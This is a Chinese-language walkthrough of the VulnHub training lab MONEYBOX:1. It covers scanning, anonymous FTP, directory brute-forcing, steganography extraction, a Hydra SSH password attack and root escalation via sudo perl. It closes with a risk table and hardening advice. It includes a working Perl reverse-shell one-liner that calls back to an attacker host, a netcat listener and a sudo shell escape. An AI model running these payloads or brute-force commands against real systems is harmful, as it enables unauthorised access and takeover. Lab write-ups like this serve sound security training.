一、靶场核心信息
- 名称: MONEYBOX:1
- 难度: 入门级(适合渗透测试新手,覆盖基础攻防技术)
- 核心目标: 遍历三层权限(匿名→普通用户→root),获取
/home/renu/user1.txt、/home/lily/user2.txt、/root/root.txt三个flag - 下载地址: https://www.vulnhub.com/entry/moneybox-1,653/
- 发布时间: 2021年,至今仍是入门者必练靶场(考点覆盖信息收集、隐写术、弱密码破解、sudo权限滥用)
- 适用人群: 网络安全入门者、渗透测试新手(需掌握Linux基础命令、常用渗透工具使用)
二、环境配置
1. 靶机导入与网络配置
- 下载OVA文件后,直接导入VirtualBox/VMware(无需额外配置硬件,默认配置即可运行)
- 网络模式选择(新手优先推荐桥接模式):
- 桥接模式:靶机与攻击机(Kali)在同一网段,直接扫描即可发现,无需手动设置IP
- 注意:若桥接模式无法联网,检查宿主机防火墙是否关闭,或更换网卡(如从无线网卡切换为有线网卡)
- Host-only模式备选方案:需手动设置靶机和Kali的IP在同一网段(如192.168.56.0/24),适合宿主机无法使用桥接的场景
2. 攻击机准备(Kali Linux)
- 确保Kali已更新软件源:
sudo apt update && sudo apt upgrade -y - 必备工具预装(若未安装):
- 端口扫描:nmap、arp-scan、netdiscover
- 目录爆破:dirsearch、gobuster
- 隐写分析:steghide、exiftool、zsteg
- 暴力破解:hydra、medusa
- 网络验证:
ping 网关IP确认Kali能正常联网,避免后续工具下载失败
三、完整渗透过程
1. 信息收集(渗透测试的核心:知己知彼)
(1)靶机IP探测(3种方法,避免漏扫)
# 方法1:nmap网段存活扫描(速度中等,准确率高)nmap192.168.0.0/24 -sn# 替换为你的网段(可通过ip addr查看Kali的IP网段)# 方法2:arp-scan(局域网快速扫描,适合桥接模式)sudoarp-scan -I eth0 -l# eth0为Kali网卡名(可通过ip link show查看)# 方法3:netdiscover(主动探测,适合Host-only模式)sudonetdiscover -i eth0- 关键识别:靶机IP通常是网段内除宿主机、路由器外的陌生IP(如192.168.0.105),可通过MAC地址辅助判断(虚拟机MAC地址通常以08:00:27开头)
(2)端口与服务扫描(精准定位可利用入口)
nmap -A -v -T4<靶机IP># -A全面扫描(含服务版本、操作系统),-T4加速,-v详细输出- 扫描结果解析(核心开放端口):
- 21/tcp:FTP服务(vsftpd版本,可能支持匿名登录)
- 22/tcp:SSH服务(OpenSSH版本,用于后续用户登录)
- 80/tcp:HTTP服务(Apache/Nginx,Web端可能存在目录泄露)
- 原理:端口是服务的入口,开放端口越多,可利用的攻击面越大,入门靶场通常开放基础服务端口
2. FTP服务利用(匿名登录漏洞→获取敏感文件)
(1)匿名登录测试(FTP常见漏洞点)
ftp<靶机IP># 输入后按提示输入用户名和密码# 用户名:anonymous(FTP匿名登录默认用户名)# 密码:直接回车(匿名登录无需密码,或输入任意字符)- 成功登录后,使用
ls命令查看目录,发现trytofind.jpg图片文件 - 下载文件:
get trytofind.jpg(将图片保存到Kali本地,后续分析隐写信息) - 原理:部分FTP服务器配置不当,允许匿名用户登录并下载文件,可能泄露敏感数据
(2)FTP后续排查(避免遗漏)
- 查看是否有其他文件:
ls -la(显示隐藏文件,部分靶机可能隐藏txt文件) - 尝试上传文件:
put test.txt(若允许上传,可直接上传木马,但该靶机禁用上传权限)
3. HTTP服务分析(Web端漏洞→挖掘敏感路径)
(1)主页访问与初步探测
- 浏览器访问
http://<靶机IP>,页面显示简单提示:“This is a very simple box, so don’t think too much” - 查看页面源代码(F12):无直接敏感信息,但提示"不要想太复杂",暗示漏洞点较直观
(2)目录爆破(挖掘隐藏路径)
# 方法1:dirsearch(默认字典,适合快速扫描)dirsearch -u http://<靶机IP>-e php,txt,html# 指定常见后缀,提高命中率# 方法2:gobuster(自定义字典,适合深度扫描)gobusterdir-u http://<靶机IP>-w /usr/share/wordlists/dirb/common.txt- 爆破结果:发现
/blogs目录,访问后页面提示:“I have hacked this box and informed them. But they didn’t do any security configuration”(暗示管理员未修复漏洞)
(3)敏感信息挖掘(页面源代码审计)
- 查看
/blogs页面源代码(F12),发现注释提示:<!-- Hint: another secret directory is S3cr3t-T3xt --> - 访问秘密目录:
http://<靶机IP>/S3cr3t-T3xt/,页面显示无关文本,再次查看源代码:<!-- Secret Key: 3xtr4ctd4t4 -->(获取隐写术密钥) - 原理:Web开发者常将敏感信息隐藏在注释中,目录爆破是Web渗透的核心步骤,需熟练使用工具
4. 图片隐写分析(密钥+隐写文件→获取用户信息)
(1)隐写工具使用(steghide核心操作)
- 安装steghide(若未安装):
sudo apt install steghide -y - 提取隐藏信息(使用之前获取的密钥3xtr4ctd4t4):
steghide extract -sf trytofind.jpg -p 3xtr4ctd4t4# -sf指定文件,-p指定密码- 成功提取
data.txt文件,查看内容:cat data.txt,得到关键信息:“There is a user named ‘renu’ with a very weak password”(确定SSH登录用户名+弱密码提示)
(2)隐写术补充知识(拓展学习)
- 若steghide提取失败,可尝试其他工具:
- exiftool:
exiftool trytofind.jpg(查看图片元数据,可能隐藏信息) - zsteg:
zsteg trytofind.jpg(针对PNG图片的隐写分析,该靶机为JPG,暂不适用)
- exiftool:
- 原理:隐写术是将敏感信息隐藏在图片、音频等文件中,需密钥或密码才能提取,常用于渗透测试中传递信息
5. SSH暴力破解(弱密码→获取普通用户权限)
(1)Hydra工具配置与破解
- 针对用户’renu’进行弱密码爆破(使用Kali自带的rockyou.txt字典,该字典包含常见弱密码):
hydra -l renu -P /usr/share/wordlists/rockyou.txt ssh://<靶机IP>-t4# -t指定线程数,避免被靶机屏蔽- 破解结果:约1-2分钟后,成功破解密码:
987654321(典型弱密码,符合靶机提示)
(2)SSH登录与flag获取
- 登录命令:
ssh renu@<靶机IP>,输入密码987654321,成功登录renu用户 - 查看当前目录:
ls,发现user1.txt,获取第一个flag:cat user1.txt - 原理:弱密码是企业网络中最常见的漏洞之一,Hydra通过字典遍历尝试登录,适合破解简单密码,实际渗透中需注意线程数和爆破频率,避免触发防护机制
6. 权限提升(横向移动→纵向提权至root)
(1)横向移动:从renu切换到lily用户
- 登录renu后,查看用户目录:
ls /home,发现存在lily用户 - 检查SSH密钥:
ls -la /home/renu/.ssh,发现id_rsa.pub(公钥文件) - 查看lily的SSH授权文件:
cat /home/lily/.ssh/authorized_keys,发现该文件包含renu的公钥(意味着renu可免密码登录lily) - 切换用户:
ssh lily@127.0.0.1(本地SSH登录,无需输入密码),成功切换到lily - 获取第二个flag:
cat /home/lily/user2.txt
(2)纵向提权:从lily提权至root
- 检查sudo权限(关键步骤):
sudo -l(查看当前用户可执行的sudo命令) - 输出结果:
lily ALL=(ALL) NOPASSWD: /usr/bin/perl(lily可免密码以root权限执行perl命令) - Perl提权原理:perl是Linux系统自带的脚本语言,可通过执行系统命令获取shell
- 提权命令(二选一):
# 方法1:直接获取root shell(简单直接)sudoperl -e'exec "/bin/sh";'# 方法2:反向shell(适合靶机无直接交互的场景)# 1. 攻击机(Kali)监听端口:nc -lvp 4444# 2. 靶机执行:sudo perl -e 'use Socket;$i="KaliIP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' - 成功获取root权限后,查看/root目录:
ls /root,发现root.txt,获取第三个flag:cat /root/root.txt
四、漏洞总结与风险等级
| 漏洞类型 | 具体表现 | 风险等级 | 实际场景案例 |
|---|---|---|---|
| FTP匿名访问漏洞 | 允许匿名用户登录并下载文件 | 中 | 企业内部FTP服务器配置不当,导致敏感数据泄露 |
| Web目录泄露+注释敏感信息 | 隐藏目录未限制访问,注释暴露密钥 | 中 | 网站开发遗留测试目录、注释未删除,被黑客利用 |
| 图片隐写术泄露信息 | 敏感用户信息隐藏在图片中 | 低-中 | 黑客通过隐写术传递攻击指令、账号密码 |
| 弱密码漏洞 | 用户renu使用简单密码987654321 | 高 | 企业员工使用生日、连续数字作为密码,被暴力破解 |
| SSH公钥配置不当 | 允许其他用户免密码登录 | 高 | 服务器配置错误,导致横向移动攻击 |
| sudo权限滥用 | 普通用户可免密码执行root级命令 | 严重 | 服务器权限分配不合理,导致提权攻击 |
五、防御建议
- FTP服务加固:禁用匿名登录,限制允许登录的IP,设置强密码,禁用不必要的上传权限
- Web服务防护:删除测试目录、注释中的敏感信息,使用WAF拦截目录爆破,限制目录访问权限
- 敏感信息保护:避免使用隐写术存储敏感数据,重要信息需加密存储,定期审计代码和文件
- 密码策略强化:强制使用强密码(长度≥12位,包含大小写、数字、特殊字符),定期更换密码,禁止复用密码
- SSH服务安全:禁用密码登录,仅允许密钥登录,限制可登录用户,修改默认端口22
- sudo权限管控:遵循最小权限原则,严格限制普通用户的sudo权限,避免允许执行系统命令(如perl、bash)
六、前瞻性思考
入门者学习路径:MONEYBOX:1覆盖了渗透测试的核心流程(信息收集→漏洞利用→权限提升),新手可在此基础上拓展:
- 尝试使用不同工具完成同一步骤(如用medusa替代hydra破解SSH)
- 手动构造payload(如perl反向shell的原理分析)
- 练习靶机:DVWA(Web漏洞专项)、Metasploitable2(多服务漏洞)、Brooklyn(中级难度,涉及缓冲区溢出)
技术趋势与防御演变:
- 零信任架构:针对靶机中的权限滥用问题,零信任通过"永不信任,始终验证"的原则,限制用户横向移动
- AI辅助渗透与防御:当前AI工具可自动化目录爆破、漏洞扫描,但防御方也可通过AI检测异常登录、暴力破解行为
- 隐私计算:针对敏感信息泄露,隐私计算技术可在不暴露原始数据的前提下进行数据处理,降低泄露风险
职业发展建议:
- 入门阶段:熟练掌握靶场中的基础工具和漏洞原理,考取CEH、OSCP等认证
- 进阶阶段:深入学习某一方向(如Web渗透、二进制漏洞、云安全),参与CTF比赛积累实战经验
- 职业方向:渗透测试工程师、安全研究员、安全运营工程师(SOC)、红队成员
总结
MONEYBOX:1作为入门级靶场,虽漏洞点较直观,但完整覆盖了渗透测试的核心流程,适合新手建立"信息收集是基础,漏洞利用是关键,权限提升是目标"的思维框架。实际渗透测试中,漏洞往往不是孤立存在的,需结合多个信息点形成攻击链(如本靶机中FTP→图片隐写→SSH破解→sudo提权)。通过反复练习和拓展学习,可逐步提升对漏洞的敏感度和实战能力,为后续挑战更高难度靶场和实际工作打下基础。